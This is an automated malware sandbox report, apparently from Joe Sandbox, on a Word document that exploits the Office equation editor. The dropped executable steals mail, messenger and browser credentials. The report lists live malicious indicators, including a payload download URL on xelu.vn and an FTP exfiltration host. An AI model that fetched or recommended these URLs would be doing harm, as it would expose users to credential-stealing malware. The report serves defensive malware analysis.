              Deobfuscate/Decode Files or Information              		1
              Input Capture              		1
              Peripheral Device Discovery              		Remote Desktop Protocol1
              Data from Local System              		Exfiltration Over Bluetooth11
              Encrypted Channel              		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
              Domain Accounts1
              Shared Modules              		Logon Script (Windows)Logon Script (Windows)41
              Obfuscated Files or Information              		2
              Credentials in Registry              		1
              Account Discovery              		SMB/Windows Admin Shares2
              Email Collection              		Automated Exfiltration1
              Non-Standard Port              		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
              Local Accounts13
              Exploitation for Client Execution              		Logon Script (Mac)Logon Script (Mac)33
              Software Packing              		1
              Credentials In Files              		3
              File and Directory Discovery              		Distributed Component Object Model1
              Input Capture              		Scheduled Transfer1
              Remote Access Software              		SIM Card SwapCarrier Billing Fraud
              Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
              Masquerading              		LSA Secrets18
              System Information Discovery              		SSH1
              Clipboard Data              		Data Transfer Size Limits3
              Non-Application Layer Protocol              		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
              Replication Through Removable MediaLaunchdRc.commonRc.common1
              Modify Registry              		Cached Domain Credentials121
              Security Software Discovery              		VNCGUI Input CaptureExfiltration Over C2 Channel24
              Application Layer Protocol              		Jamming or Denial of ServiceAbuse Accessibility Features
              External Remote ServicesScheduled TaskStartup ItemsStartup Items21
              Virtualization/Sandbox Evasion              		DCSync21
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
              Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job411
              Process Injection              		Proc Filesystem3
              Process Discovery              		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
              Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
              Hidden Files and Directories              		/etc/passwd and /etc/shadow1
              Application Window Discovery              		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
              Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork Sniffing1
              System Owner/User Discovery              		Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
              Compromise Software Dependencies and Development ToolsWindows Command ShellCronCronRight-to-Left OverrideInput Capture1
              Remote System Discovery              		Replication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop
              Compromise Software Supply ChainUnix ShellLaunchdLaunchdRename System UtilitiesKeylogging1
              System Network Configuration Discovery              		Component Object Model and Distributed COMScreen CaptureExfiltration over USBDNSInhibit System Recovery

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 571605 Sample: 02132022769992.doc Startdate: 14/02/2022 Architecture: WINDOWS Score: 100 39 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->39 41 Malicious sample detected (through community Yara rule) 2->41 43 Antivirus detection for dropped file 2->43 45 17 other signatures 2->45 8 EQNEDT32.EXE 13 2->8         started        13 WINWORD.EXE 291 24 2->13         started        process3 dnsIp4 37 xelu.vn 123.30.139.93, 443, 49165, 49166 VNPT-AS-VNVietnamPostsandTelecommunicationsVNPTVN Viet Nam 8->37 27 C:\Users\user\AppData\Roaming\name.exe, PE32 8->27 dropped 29 C:\Users\user\...\PU4TLXlhTTxUD3B[1].exe, PE32 8->29 dropped 65 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 8->65 15 name.exe 1 5 8->15         started        31 ~WRF{FF780E00-89C7...4-C139521B8BBC}.tmp, Composite 13->31 dropped file5 signatures6 process7 signatures8 67 Antivirus detection for dropped file 15->67 69 Detected unpacking (changes PE section rights) 15->69 71 Detected unpacking (overwrites its own PE header) 15->71 73 3 other signatures 15->73 18 name.exe 12 2 15->18         started        process9 dnsIp10 33 ftp.manchutimefashion.com 66.70.204.222, 21, 49170, 49171 OVHFR Canada 18->33 35 whatismyipaddress.com 104.16.154.36, 443, 49168, 49169 CLOUDFLARENETUS United States 18->35 47 Changes the view of files in windows explorer (hidden files and folders) 18->47 49 Writes to foreign memory regions 18->49 51 Allocates memory in foreign processes 18->51 53 2 other signatures 18->53 22 vbc.exe 1 18->22         started        25 vbc.exe 2 18->25         started        signatures11 process12 signatures13 55 Tries to steal Mail credentials (via file registry) 22->55 57 Tries to steal Instant Messenger accounts or passwords 22->57 59 Tries to steal Mail credentials (via file / registry access) 22->59 61 Searches for Windows Mail specific files 22->61 63 Tries to harvest and steal browser information (history, passwords, etc) 25->63

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              02132022769992.doc40%ReversingLabsDocument-RTF.Exploit.CVE-2017-11882
              02132022769992.doc100%AviraHEUR/Rtf.Malformed

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{FF780E00-89C7-4301-A104-C139521B8BBC}.tmp100%AviraEXP/CVE-2018-0798.Gen
              C:\Users\user\AppData\Roaming\name.exe100%AviraHEUR/AGEN.1140941
              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\PU4TLXlhTTxUD3B[1].exe100%AviraHEUR/AGEN.1140941
              C:\Users\user\AppData\Roaming\name.exe100%Joe Sandbox ML
              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\PU4TLXlhTTxUD3B[1].exe100%Joe Sandbox ML

              Unpacked PE Files

              SourceDetectionScannerLabelLinkDownload
              5.0.name.exe.a40000.21.unpack100%AviraHEUR/AGEN.1140941Download File
              7.0.vbc.exe.400000.3.unpack100%AviraHEUR/AGEN.1210557Download File
              6.0.vbc.exe.400000.1.unpack100%AviraSPR/Tool.MailPassView.473Download File
              5.0.name.exe.a40000.3.unpack100%AviraHEUR/AGEN.1140941Download File
              5.0.name.exe.400000.22.unpack100%AviraTR/AD.MExecute.lzracDownload File
              5.0.name.exe.400000.22.unpack100%AviraSPR/Tool.MailPassView.473Download File
              5.0.name.exe.400000.5.unpack100%AviraTR/AD.MExecute.lzracDownload File
              5.0.name.exe.400000.5.unpack100%AviraSPR/Tool.MailPassView.473Download File
              5.2.name.exe.400000.0.unpack100%AviraTR/AD.MExecute.lzracDownload File
              5.2.name.exe.400000.0.unpack100%AviraSPR/Tool.MailPassView.473Download File
              7.2.vbc.exe.400000.0.unpack100%AviraHEUR/AGEN.1210557Download File
              4.2.name.exe.a40000.1.unpack100%AviraHEUR/AGEN.1109526Download File
              5.2.name.exe.a40000.6.unpack100%AviraHEUR/AGEN.1140941Download File
              7.0.vbc.exe.400000.2.unpack100%AviraHEUR/AGEN.1210557Download File
              6.0.vbc.exe.400000.4.unpack100%AviraSPR/Tool.MailPassView.473Download File
              5.0.name.exe.400000.7.unpack100%AviraTR/AD.MExecute.lzracDownload File
              5.0.name.exe.400000.7.unpack100%AviraSPR/Tool.MailPassView.473Download File
              5.0.name.exe.a40000.16.unpack100%AviraHEUR/AGEN.1140941Download File
              5.0.name.exe.a40000.2.unpack100%AviraHEUR/AGEN.1140941Download File
              5.0.name.exe.a40000.1.unpack100%AviraHEUR/AGEN.1140941Download File
              7.0.vbc.exe.400000.1.unpack100%AviraHEUR/AGEN.1210557Download File
              5.0.name.exe.a40000.4.unpack100%AviraHEUR/AGEN.1140941Download File
              5.0.name.exe.a40000.6.unpack100%AviraHEUR/AGEN.1140941Download File
              5.0.name.exe.a40000.11.unpack100%AviraHEUR/AGEN.1140941Download File
              5.0.name.exe.400000.17.unpack100%AviraTR/AD.MExecute.lzracDownload File
              5.0.name.exe.400000.17.unpack100%AviraSPR/Tool.MailPassView.473Download File
              6.0.vbc.exe.400000.3.unpack100%AviraSPR/Tool.MailPassView.473Download File
              5.0.name.exe.400000.12.unpack100%AviraTR/AD.MExecute.lzracDownload File
              5.0.name.exe.400000.12.unpack100%AviraSPR/Tool.MailPassView.473Download File
              6.0.vbc.exe.400000.2.unpack100%AviraSPR/Tool.MailPassView.473Download File
              6.0.vbc.exe.400000.0.unpack100%AviraSPR/Tool.MailPassView.473Download File
              5.0.name.exe.a40000.0.unpack100%AviraHEUR/AGEN.1140941Download File
              4.0.name.exe.a40000.0.unpack100%AviraHEUR/AGEN.1140941Download File
              7.0.vbc.exe.400000.0.unpack100%AviraHEUR/AGEN.1210557Download File
              5.0.name.exe.a40000.26.unpack100%AviraHEUR/AGEN.1140941Download File
              7.0.vbc.exe.400000.4.unpack100%AviraHEUR/AGEN.1210557Download File

              Domains

              SourceDetectionScannerLabelLink
              ftp.manchutimefashion.com0%VirustotalBrowse
              xelu.vn0%VirustotalBrowse

              URLs

              SourceDetectionScannerLabelLink
              http://b.scorecardresearch.com/beacon.js0%VirustotalBrowse
              http://b.scorecardresearch.com/beacon.js0%Avira URL Cloudsafe
              http://ocsp.entrust.net030%URL Reputationsafe
              http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl00%URL Reputationsafe
              http://www.diginotar.nl/cps/pkioverheid00%URL Reputationsafe
              https://deff.nelreports.net/api/report?cat=msn0%URL Reputationsafe
              http://cache.btrll.com/default/Pix-1x1.gif0%Avira URL Cloudsafe
              http://xelu.vn/Newww/PU4TLXlhTTxUD3B.exe0%Avira URL Cloudsafe
              https://xelu.vn/Newww/PU4TLXlhTTxUD3B.exe0%Avira URL Cloudsafe
              http://ocsp.entrust.net0D0%URL Reputationsafe
              https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au0%URL Reputationsafe
              https://whatismyipaddress.comP0%Avira URL Cloudsafe
              http://crl.pkioverheid.nl/DomOvLatestCRL.crl00%URL Reputationsafe
              http://ftp.manchutimefashion.com0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              whatismyipaddress.com
              		104.16.154.36
              		truefalse
                		high
                ftp.manchutimefashion.com
                		66.70.204.222
                		truetrueunknown
                xelu.vn
                		123.30.139.93
                		truetrueunknown

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                http://xelu.vn/Newww/PU4TLXlhTTxUD3B.exetrue
                • Avira URL Cloud: safe
                		unknown
                https://xelu.vn/Newww/PU4TLXlhTTxUD3B.exetrue
                • Avira URL Cloud: safe
                		unknown
                http://whatismyipaddress.com/false
                  		high
                  https://whatismyipaddress.com/false
                    		high

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://b.scorecardresearch.com/beacon.jsbhvC7B6.tmp.7.drfalse
                    • 0%, Virustotal, Browse
                    • Avira URL Cloud: safe
                    		unknown
                    http://acdn.adnxs.com/ast/ast.jsbhvC7B6.tmp.7.drfalse
                      		high
                      http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_bhvC7B6.tmp.7.drfalse
                        		high
                        http://ocsp.entrust.net03name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1bhvC7B6.tmp.7.drfalse
                          		high
                          http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.pngbhvC7B6.tmp.7.drfalse
                            		high
                            http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.diginotar.nl/cps/pkioverheid0name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9bhvC7B6.tmp.7.drfalse
                              		high
                              http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.htmlbhvC7B6.tmp.7.drfalse
                                		high
                                https://deff.nelreports.net/api/report?cat=msnbhvC7B6.tmp.7.drfalse
                                • URL Reputation: safe
                                		unknown
                                https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.jsbhvC7B6.tmp.7.drfalse
                                  		high
                                  http://cache.btrll.com/default/Pix-1x1.gifbhvC7B6.tmp.7.drfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683bhvC7B6.tmp.7.drfalse
                                    		high
                                    http://o.aolcdn.com/ads/adswrappermsni.jsbhvC7B6.tmp.7.drfalse
                                      		high
                                      http://cdn.taboola.com/libtrc/msn-home-network/loader.jsbhvC7B6.tmp.7.drfalse
                                        		high
                                        http://www.msn.com/?ocid=iehpvbc.exe, 00000007.00000003.490119476.00000000004B2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.489490877.00000000004AF000.00000004.00000800.00020000.00000000.sdmp, bhvC7B6.tmp.7.drfalse
                                          		high
                                          https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033bhvC7B6.tmp.7.drfalse
                                            		high
                                            http://static.chartbeat.com/js/chartbeat.jsbhvC7B6.tmp.7.drfalse
                                              		high
                                              http://www.msn.com/de-de/?ocid=iehpvbc.exe, 00000007.00000003.490119476.00000000004B2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.489490877.00000000004AF000.00000004.00000800.00020000.00000000.sdmp, bhvC7B6.tmp.7.drfalse
                                                		high
                                                http://whatismyipaddress.com/-name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.msn.com/?ocid=iehphttp://www.msn.com/http://www.msn.com/de-de/?ocid=iehphttp://www.msn.covbc.exe, 00000007.00000003.493422455.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.491975483.00000000004FE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493901820.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.490258132.00000000004FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.492843847.000000000053E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%bhvC7B6.tmp.7.drfalse
                                                      		high
                                                      https://login.yahoo.com/config/loginvbc.exefalse
                                                        		high
                                                        http://www.site.com/logs.phpname.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://www.nirsoft.net/vbc.exe, vbc.exe, 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://ocsp.entrust.net0Dname.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • URL Reputation: safe
                                                            		unknown
                                                            https://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&vbc.exe, 00000007.00000003.493422455.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.491975483.00000000004FE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493901820.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.490258132.00000000004FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.492843847.000000000053E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namename.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3bhvC7B6.tmp.7.drfalse
                                                                  		high
                                                                  http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683bhvC7B6.tmp.7.drfalse
                                                                    		high
                                                                    http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(bhvC7B6.tmp.7.drfalse
                                                                      		high
                                                                      https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9bhvC7B6.tmp.7.drfalse
                                                                        		high
                                                                        http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_shbhvC7B6.tmp.7.drfalse
                                                                          		high
                                                                          http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.jsbhvC7B6.tmp.7.drfalse
                                                                            		high
                                                                            http://crl.entrust.net/server1.crl0name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://contextual.media.net/8/nrrV73987.jsbhvC7B6.tmp.7.drfalse
                                                                                		high
                                                                                http://whatismyipaddress.comname.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.jsbhvC7B6.tmp.7.drfalse
                                                                                    		high
                                                                                    https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2bhvC7B6.tmp.7.drfalse
                                                                                      		high
                                                                                      https://www.cloudflare.com/5xx-error-landingname.exe, 00000005.00000002.699820187.00000000022C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:aubhvC7B6.tmp.7.drfalse
                                                                                        • URL Reputation: safe
                                                                                        		unknown
                                                                                        https://whatismyipaddress.comPname.exe, 00000005.00000002.699797677.0000000002295000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://crl.pkioverheid.nl/DomOvLatestCRL.crl0name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        • URL Reputation: safe
                                                                                        		unknown
                                                                                        https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549bhvC7B6.tmp.7.drfalse
                                                                                          		high
                                                                                          http://ftp.manchutimefashion.comname.exe, 00000005.00000002.700187666.00000000026EF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          • Avira URL Cloud: safe
                                                                                          		unknown
                                                                                          http://cdn.at.atwola.com/_media/uac/msn.htmlbhvC7B6.tmp.7.drfalse
                                                                                            		high
                                                                                            https://www.google.com/accounts/serviceloginvbc.exefalse
                                                                                              		high
                                                                                              http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2FsetbhvC7B6.tmp.7.drfalse
                                                                                                		high
                                                                                                https://secure.comodo.com/CPS0name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://policies.yahoo.com/w3c/p3p.xmlbhvC7B6.tmp.7.drfalse
                                                                                                    		high
                                                                                                    http://crl.entrust.net/2048ca.crl0name.exe, 00000005.00000002.699607229.00000000006BA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1https://cvbc.exe, 00000007.00000003.493422455.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.491975483.00000000004FE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000002.493901820.000000000053E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.490258132.00000000004FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.492843847.000000000053E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        http://www.msn.com/advertisement.ad.jsbhvC7B6.tmp.7.drfalse
                                                                                                          		high
                                                                                                          http://ib.adnxs.com/async_usersync_filevbc.exe, 00000007.00000003.490119476.00000000004B2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000007.00000003.489490877.00000000004AF000.00000004.00000800.00020000.00000000.sdmp, bhvC7B6.tmp.7.drfalse
                                                                                                            		high

                                                                                                            World Map of Contacted IPs

                                                                                                            • No. of IPs < 25%
                                                                                                            • 25% < No. of IPs < 50%
                                                                                                            • 50% < No. of IPs < 75%
                                                                                                            • 75% < No. of IPs

                                                                                                            Public IPs

                                                                                                            IPDomainCountryFlagASNASN NameMalicious
                                                                                                            104.16.154.36
                                                                                                            		whatismyipaddress.comUnited States
                                                                                                            		13335CLOUDFLARENETUSfalse
                                                                                                            66.70.204.222
                                                                                                            		ftp.manchutimefashion.comCanada
                                                                                                            		16276OVHFRtrue
                                                                                                            123.30.139.93
                                                                                                            		xelu.vnViet Nam
                                                                                                            		7643VNPT-AS-VNVietnamPostsandTelecommunicationsVNPTVNtrue

                                                                                                            General Information

                                                                                                            Joe Sandbox Version:34.0.0 Boulder Opal
                                                                                                            Analysis ID:571605
                                                                                                            Start date:14.02.2022
                                                                                                            Start time:08:11:28
                                                                                                            Joe Sandbox Product:CloudBasic
                                                                                                            Overall analysis duration:0h 12m 2s
                                                                                                            Hypervisor based Inspection enabled:false
                                                                                                            Report type:full
                                                                                                            Sample file name:02132022769992.doc
                                                                                                            Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                            Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                                                                                                            Number of analysed new started processes analysed:9
                                                                                                            Number of new started drivers analysed:0
                                                                                                            Number of existing processes analysed:0
                                                                                                            Number of existing drivers analysed:0
                                                                                                            Number of injected processes analysed:0
                                                                                                            Technologies:
                                                                                                            • HCA enabled
                                                                                                            • EGA enabled
                                                                                                            • HDC enabled
                                                                                                            • AMSI enabled
                                                                                                            Analysis Mode:default
                                                                                                            Analysis stop reason:Timeout
                                                                                                            Detection:MAL
                                                                                                            Classification:mal100.phis.troj.spyw.expl.evad.winDOC@10/16@6/3
                                                                                                            EGA Information:
                                                                                                            • Successful, ratio: 100%
                                                                                                            HDC Information:
                                                                                                            • Successful, ratio: 12.9% (good quality ratio 11.3%)
                                                                                                            • Quality average: 74.8%
                                                                                                            • Quality standard deviation: 33.6%
                                                                                                            HCA Information:
                                                                                                            • Successful, ratio: 97%
                                                                                                            • Number of executed functions: 184
                                                                                                            • Number of non-executed functions: 286
                                                                                                            Cookbook Comments:
                                                                                                            • Adjust boot time
                                                                                                            • Enable AMSI
                                                                                                            • Found application associated with file extension: .doc
                                                                                                            • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                            • Attach to Office via COM
                                                                                                            • Scroll down
                                                                                                            • Close Viewer

                                                                                                            Warnings

                                                                                                            • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
                                                                                                            • Report size getting too big, too many NtCreateFile calls found.
                                                                                                            • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                            • Report size getting too big, too many NtEnumerateValueKey calls found.
                                                                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                            • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                            • Report size getting too big, too many NtQueryDirectoryFile calls found.
                                                                                                            • Report size getting too big, too many NtQueryValueKey calls found.

                                                                                                            Simulations

                                                                                                            Behavior and APIs

                                                                                                            TimeTypeDescription
                                                                                                            08:12:21API Interceptor203x Sleep call for process: EQNEDT32.EXE modified
                                                                                                            08:12:32API Interceptor291x Sleep call for process: name.exe modified
                                                                                                            08:12:54API Interceptor28x Sleep call for process: vbc.exe modified

                                                                                                            Joe Sandbox View / Context

                                                                                                            IPs

                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                            104.16.154.36ymOOyTtHBV.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            57poVaWCk4.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            CdHqfJlg4h.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            JYblFfoBHL.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            6WReJDfOQZ.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            MhyHClaiU8.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            ltEcJCMgSy.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            2NQJAJoj9w.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            xxTzyGLZx5.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            Hpdyv8oO3j.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            aaVb1xEmrd.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            npdkUsrM4B.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            paymet copy.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            PaymentNotification.vbsGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            YpyXT7Tnik.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            Payment Advice GLV225445686.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            nzGUqSK11D.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            B6LNCKjOGt5EmFQ.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            BANK-STATMENT _xlsx.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/
                                                                                                            INQUIRY.exeGet hashmaliciousBrowse
                                                                                                            • whatismyipaddress.com/

                                                                                                            Domains

                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                            whatismyipaddress.comymOOyTtHBV.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.155.36
                                                                                                            57poVaWCk4.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.155.36
                                                                                                            CdHqfJlg4h.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.155.36
                                                                                                            JYblFfoBHL.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            6WReJDfOQZ.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            MhyHClaiU8.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            ltEcJCMgSy.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            2NQJAJoj9w.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.155.36
                                                                                                            wi0o9r5lvB.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            SwqJN4RgIo.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            lgawpxELtj.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            SW0P9o9ksjpBsnr.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.155.36
                                                                                                            5.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.155.36
                                                                                                            xxTzyGLZx5.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.154.36
                                                                                                            Hpdyv8oO3j.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.155.36
                                                                                                            Cat_Goes_Fishing.exeGet hashmaliciousBrowse
                                                                                                            • 66.171.248.178
                                                                                                            installer.exeGet hashmaliciousBrowse
                                                                                                            • 66.171.248.178
                                                                                                            NEW PO.exeGet hashmaliciousBrowse
                                                                                                            • 104.16.155.36

                                                                                                            ASNs

                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
